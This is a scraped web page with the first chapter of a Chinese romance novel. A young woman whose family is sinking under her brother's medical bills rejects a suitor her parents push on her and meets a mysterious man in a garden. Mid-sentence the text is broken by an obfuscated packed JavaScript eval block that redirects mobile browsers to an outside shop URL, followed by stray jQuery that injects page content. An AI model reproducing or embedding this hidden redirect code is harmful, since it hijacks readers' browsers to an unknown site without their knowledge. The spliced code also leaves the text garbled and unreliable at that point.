文趣网 > 都市小说 > 伪佛[京圈] > 1. chapter1
    二月初的l市向来还处在一年中最冷的时候。

    室外还是伸出手就能冻得打哆嗦的天气,醉香园内包厢的暖气却好像热得过了头,平白让人急躁不安。

    狭小的包厢内,南风局促坐在沙发上。

    垂眸看着手上不合身的礼服。

    她刚才结束奶茶店的兼职赶来,身上还是身印着奶茶店LOGO的兜帽衫运动裤。如果不是她手里的请帖货真价实,单看她那身衣服,醉香园的保安刚才怎么也不想放她进门。

    毕竟她家濒临破产的事,在l市这个小圈子里几乎也算是无人不知无人不晓了。

    “——南风!你快一点,听到了没有!现在可没人会等着你!”

    包厢外,中年女人急切焦躁的声音传来。

    紧握着礼服衣角的手一僵。

    南风加快了手上的动作。

    这已经是第不知道多少次,她被父母推来这样的场合了。

    记忆里,南家在l市也算得上是当地知名的有钱人家,父亲南建国的建材公司小有名气,早年有段时间也算是颇有点小钱。

    但她十四岁那年,弟弟南屿患上了一种罕见病。

    数几十万元一针的基因药物,持续的激素,呼吸机,手术,无底洞一般的治疗像火一样烧光了南家剩下的所有积蓄,掏空了南建国的公司,以至于今年甚至供不起她在寸土寸金的京城上学。

    去年十月,她被迫从京大休学回到l市。

    她卯足了劲头一天打好几份工,想要赚到之后好几年的学费和生活费。

    就算如此,她的父母依然告诉她,他们养不起她,要给她找个好人家订婚,协议婚姻。

    自小生活在这个圈子里,南风当然知道一句协议婚姻意味着什么。

    她闹过,吼过,不止一次有过半夜逃跑的念头。

    偏偏,她的身份证和学生证还都在父母手里。

    垂着眼睛拉上租来的礼服拉链,被粗糙的内衬膈得几乎喘不过气来,南风深吸一口气,声音疲惫:

    “我好了,进来吧,妈。”

    门应声打开,李静中年发福的身影急切地挤进来,满脸不耐:

    “哎呀终于好了?赶快王少爷都等不及——”

    包厢里光线算不上好,只角落有一盏灯亮着,发出昏黄的光,叫人几乎看不清室内摆设几何。

    可就算是这样,目光粗略扫过眼前女孩,李静也难免呼吸一停。

    朦胧的光晕里,少女瓷白的鹅蛋脸甚至要比巴掌还小些,一双小鹿眼温和清澈,大概是因为最近的奔波而带上了淡淡的疲惫,反倒更添一分令人难以言说的美丽。

    虽说是北方姑娘,南风骨架却生得小而纤细。

    海蓝色的礼服长裙在她身上,更是恰如其分衬托出了不堪一握的腰身。

    她垂着眼眸,更显得脆弱又叫人怜惜。

    真不知道她和南建国是怎么生出这么个女儿的。

    确实漂亮得厉害。

    匆匆看一眼墙上时钟,赶忙从随身的包里拿出化妆品,李静也顾不上感慨,飞快在少女脸上忙活起来。

    “妈。”

    南风死死咬住嘴角,低垂脑袋,声音恍惚:

    “……我不喜欢这样。”

    这段时间,她总是一遍遍浏览京大的社媒,在深夜失眠时一遍遍翻开从前同学的朋友圈。

    他们分享无聊的早八,第一次校园音乐节,第一次偷溜去特种兵旅行,人生多彩而快乐。

    她却只能人偶一样坐在这里。

    任人摆弄。

    “……你弟弟还在医院呢,风风。也是为了你的未来啊。”

    在女孩唇上抹上藕粉色的唇彩,李静语重心长:

    “女孩子早点定下,对你,对我们都好。而且,王少爷是个好人。”

    收回手里最后一件化妆刷,满意看着眼前女孩那张故意夸大了脆弱的那张脸,李静伸手将还在沙发上僵着的南风带了起来:

    “走吧。”

    “我们进宴会。”

    —

    神情恍惚,勉强维持表面微笑,南风跟在南建国与李静身后,一路穿过陈旧的包厢与连廊。

    走进金碧辉煌的大厅。

    醉香园是l是规格最高的宴会场所,以其考究而极具古典氛围的园林设计而颇得大人物们青眼,一度是接待富商政要的唯一去处。

    今晚的慈善晚宴,据说是曾和南建国早年间有些交情的季老板办的。

    也是因此,远不够格的他们才能侥幸拿到请帖。

    富丽堂皇的水晶灯和金色穹顶下,无数衣着光鲜靓丽的男女走动着,或是交谈,或是饮酒。一时间,不少隐含艳羡的,窃窃私语的声音传来:

    “哎,你听说了吗?今天这慈善晚宴可非同寻常!”

    “没听说,怎么?不就是规格高了点吗?”

    “规格高?可不只是规格高!你没听说本地那些大人物都在吗?”

    “传闻啊,传闻。有真正称得上是非同小可的人物在场!可不是什么本地人,那是京城人士!”

    “都小点声吧你们……京城那位先生是谁都能议论的?”

    京城?

    指尖不自觉颤抖,南风下意识朝着说话人的方向看了过去。

    又默默转回视线。

    或许是今天的礼服属实太过不合身,她总觉得有什么堵在心口,喘不上气。

    京城两个字也一直在她脑海里挥之不去。

    她本应该也在京城的。

    在京大宽敞明亮的教室里,在大学区充满烟火气息的小道上。

    而不是在这里。

    她高三拼了命考出l市,不顾父母偷偷跑去好友陈薇家报志愿,不就是想去更大的世界看看吗?

    “——南风,南风!”

    胳膊一阵细微刺痛,南风的注意力骤然回归现实。

    不远处,不知何时已经多了个二十来岁的矮胖男人。他一身西服,一手暧昧揽着个肤白貌美的女孩,笑眯眯地上下打量着她。

    “……你清醒一点!王少爷看你呢!”

    身侧,刚才掐她软肉的李静压低声音,满是恨铁不成钢:

    “……王少本来就对你不是很满意,我们好不容易谈到今天,你可别给我掉链子!听到没有!”

    目光被迫抬起对上对面男人的,礼貌问好,南风心中一阵翻江倒海,用了毕生定力才露出一个体面的微笑。

    她和这人不是第一次见面了。

    这段时间父母给她看的人家在李王两家之间纠结。其中李家的老板是个大腹便便的四十岁中年人,眼前的王家少爷则是个小富二代,她父母更倾向于后者,说有钱又年轻,她可以过好日子。

    可好日子?

    女孩深深吸一口气。

    初次见面时,王少爷还勉强称得上是人模狗样。可一知道是南家有求于他,他就彻底不做伪装了。

    水晶灯下,端着香槟,王少爷的手正不安分地搭在怀中女孩的腰间。

    嘴上和她父母打着太极,一边回头深情款款看向那女孩,两个人的嘴险些就要挨到一起去,一边还在打量她的裙子。

    让她过去干什么?狗都能猜出来。

    她真是受够这一切了。

    “南小姐喝酒吗?”

    一边同怀中那个女孩调笑,王少爷一边醉醺醺向她开口:

    “南风!”

    李静赶忙在她耳边压低嗓音:“愣着干什么啊!快说你喝酒!”

    “……不。”

    暗暗攥紧拳头,南风冷冷后退两步,平静开口。

    “南先生。”

    王少爷神色骤然冷下来,啪一声摔下手中酒杯,冷笑看向南建国:

    “这就是您家有求于我家的态度?”

    “南风?!”

    南建国赶忙陪个笑脸,怒气冲冲伸手去拽人:

    “你知不知道你在说什么?!”

    “——我说,我不!”

    咬牙甩开南建国的手,南风再次冷冷重复。

    说罢,她一把狠狠推开李静还在阻拦的手,飞快向着远处跑去。

    喧闹与嘈杂的喊声很快吸引了不少人的目光与议论。

    人们有的同情,有的鄙夷:

    “……怎么回事啊?”

    “害,不就是南家那对卖女儿的夫妇吗,圈里都传遍了,为了儿子和公司,啧啧……真是不要老脸。也真是可怜了他家小姑娘。”

    忽视南建国的怒吼,忽视王少爷铁青的脸色,女孩没有半分犹豫地飞速冲过拥挤的看热闹的人群,挤过熙攘的人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565792|204748||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    流,向醉香园的最深处跑去。

    —

    直到一股脑冲进一个无人的小院落,南风才喘着气停了下来。

    今天租的高跟鞋不大合脚。

    她停下时,原先白净的脚腕已经红肿到走不动路了。

    勉为其难在最近的石阶上缩起来,女孩怔怔望向夜空发呆。

    虽说富丽堂皇,至今仍是l市地标性建筑之一,醉香园也是l市几十年前的建筑了,现在随着l市的衰落,有的地方也没有人维护,渐渐地就被废弃了,大概也包括她现在在的这片小角落。

    这是片很小的地方。

    除去远处的石制桌椅以外,就是一片郁郁葱葱的竹林与一望无际的夜空。

    今天是个难得的满月夜,月光穿过缝隙和院墙的斗拱,雪一样星星点点撒落在竹叶上,在她面前投下斑驳细碎的光点。

    南风却没有赏景的兴致。

    她红着眼圈,脑内一片乱麻。

    她绝不可能现在就订婚。

    可她被休了一年学,就算离开这里,她……还能去哪?

    深深颤抖着叹气,女孩把脸埋进了胸前。

    她不知道。

    二月初的室外冷得厉害,她却感觉不到冷,静静地抱膝把自己缩在冰冷的石制台阶上,身后是昏沉的夜色,眼前是一片郁郁葱葱的竹林。

    夜色静谧。

    她只觉得连日累积的情绪终于快要崩塌,几乎让人喘不过气。

    “——你是谁?”

    忽地。

    一道低沉平和的男声打破寂静,钻进了她的耳朵。

    目光下意识穿过昏沉的夜色,穿过朦胧的竹影,顺着那冷淡而低沉的声音。

    南风茫然向竹林深处的石桌望去。

    因着夜色黑沉,南风看不清发问那人的具体面孔,只觉得他端方儒雅,身形挺拔,漆黑色羊毛大衣下分明是一身西装,却不知为何几乎被他穿出了褂子的味道。

    “……啊!抱歉……!”

    她慌忙摆手:

    “我……我就是来这里透透气……”

    在摇曳的竹影后,那位八风不动,平静依旧,仿佛只平平颔了颔首。

    月光勾勒出一个高大的人影。

    男人走近了些,只停在她几步之外,目光措不及防对上她愣怔的视线。

    平心而论,那是一个生得极其好看的人。

    西服考究而合身,轮廓深邃,眉眼高挺,几乎可以称得上是俊美的极致。可偏生这人面上没有任何表情,只是站在那里,就平白让南风觉得沉稳尊贵,而……令人敬畏。

    不自觉地又往另一边缩了缩,她小心翼翼探头看他:

    “那个……我是不是打扰您了?对不起……”

    “没有。”

    那人语气依然平静低沉。

    再一次鼓起勇气抬头,男人不知为何,已然施施然落座在了她旁边的石椅上。

    西服深黑色的袖口下,南风首先看见的是一串温润的木质佛珠,而后,是一只冷白色的修长大手,骨节分明,此刻正松松握着一支露出笔尖的钢笔。

    小册子上的文字她并不陌生,似乎是一段心经,可奇怪的是,其上的字迹却苍劲有力,暗藏锋芒,又冷硬,又不像是信佛之人的字。

    “……您的字真的很好看。”

    她难免好奇:

    “只是这是……”

    “——南风!这个死丫头……”

    “南风!!——”

    不远处,几道急切烦躁的声音打破了方才的寂静。

    听到那熟悉的中年男女的声音,南风身体顿时猛地一僵,脸色骤然苍白。

    她挣扎着动了两下,急切开口:

    “……抱歉,我要走了。”

    咬牙起身,女孩身影逐渐消失在了远处的走廊里。

    南建国和李静紧随其后,望向男人时神情谄媚:

    “您好,请问刚才有看见一个小姑娘吗?哎呀,就是不听话……”

    男人神色冷淡:“没有。”

    管也未管那两人,目光望向女孩消失的方向,好似她最后一点衣角从未消失在黑暗里,裴陵沉沉收回目光。

    长指不动声色地捻了下手上佛珠,男人声线低而发冷:

    “她是谁?”